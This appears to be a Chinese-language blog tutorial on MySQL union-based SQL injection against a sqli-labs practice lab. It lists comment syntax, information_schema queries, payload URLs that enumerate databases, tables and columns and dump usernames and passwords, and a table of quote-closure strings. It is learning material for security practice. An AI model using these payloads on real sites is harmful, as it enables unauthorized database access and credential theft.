1.基础sql语句

注释 单行注释
# %23
--+ --加空格
多行注释
/**/ SELECT(VERSION())
SELECT(USER())
SELECT(database()) 查数据库
SELECT(@@datadir) 查数据库路径
SELECT(@@version_compile_os) 查系统版本
version() 数据库版本
load_file() 读文件操作
current_user() 当前用户名(可用来查看权限
Into outfile() / into dumpfile 写文件 show DATABASES
use security
show tables
select username,password from users
use information_schema
show tables
desc tables
select SCHEMA_name from information_schema.schemata 查所有的数据库
select table_name from information_schema.tables where table_schema = "security" 查表
select column_name from information_schema.COLUMNS where table_name = "users" 查列
select username,password from SECURITY.users where id =10 查列的内容

2.显注----基本联合注入

由上可知注入代码为

1.查询当前数据库和用户

http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,user(),version()

2.查询所有数据库

http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,database(),group_concat(schema_name) from information_schema.schemata

3.查某数据库下的所有表名

http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security'

4.查某表下所有列(字段)名

http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users'

5.查询字段的内容

http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,database(),group_concat(id,'--',username,'--',password) from users

某一猥琐手法

http://10.1.2.5:10631/sqli/Less-2/?id=2 union select 1,version(),3 order by 2  

1.一般求闭合字符

数字型                              闭合方法

字符型 'id'                         ' and 1=1--+

"id"                               " and 1=1--+

("id")                             ") and 1=1--+

('id')                             ') and 1=1--+

最新文章

  1. Ubuntu学习总结-09 安装 Pycharm
  2. linux下使用远程图形界面
  3. MySQL提示符含义
  4. 行转列一定要sum
  5. DataTableToExcel
  6. Linux下的ntpd和ntpdate
  7. LinuxCmd
  8. MongoDB增 删 改 查
  9. Zookeeper分布式服务协调组件
  10. oracle wallet使用与维护
  11. DevExpress ASP.NET Core Controls 2019发展蓝图(No.4)
  12. 【原创】ucos信号量的操作及原理
  13. P2626 斐波那契数列(升级版)(合数的质数分解, 大数为素数的概率十分小的利用)
  14. Java中A instanceof B是什么意思?
  15. 【读书笔记】iOS-网络-Cookie
  16. Xtreme9.0 - Pattern 3 KMP
  17. Python之重复执行
  18. day15(mysql 的多表查询,事务)
  19. 关于easyUI一些标签的使用
  20. more命令(转)

热门文章

  1. java中printf的用法
  2. nodejs中如何连接mysql
  3. jsp内置对象pageContext如何在Servlet中获取值
  4. Java基础随笔3
  5. 【Linux资源管理】使用sar进行性能分析
  6. 【js】数组添加与删除
  7. About Me - 关于
  8. ubuntu安装flashplayer插件三步走
  9. 利用binlog2sql闪回丢失数据
  10. Python知乎热门话题爬取